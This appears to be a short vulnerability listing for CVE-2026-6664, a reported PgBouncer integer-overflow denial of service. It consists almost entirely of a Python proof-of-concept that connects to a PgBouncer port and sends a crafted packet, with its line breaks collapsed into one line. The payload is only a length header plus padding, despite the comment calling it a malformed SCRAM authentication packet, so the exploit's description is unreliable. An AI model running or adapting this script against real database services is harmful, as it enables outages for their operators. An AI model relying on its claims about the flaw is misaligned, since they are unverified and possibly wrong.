CVE-2026-6664 PgBouncer整数溢出导致拒绝服务漏洞

# PoC for CVE-2026-6664: PgBouncer Integer Overflow DoS import socket def send_malformed_packet(target_ip, target_port): # Construct a malformed SCRAM authentication packet # This packet structure attempts to trigger the integer overflow in parsing payload = b'\x00\x00\x00\x08' + b'A' * 100 # Malformed length header + padding try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(payload) print("[+] Packet sent to %s:%d" % (target_ip, target_port)) s.close() except Exception as e: print("[-] Error: %s" % str(e)) if __name__ == "__main__": send_malformed_packet("127.0.0.1", 6432)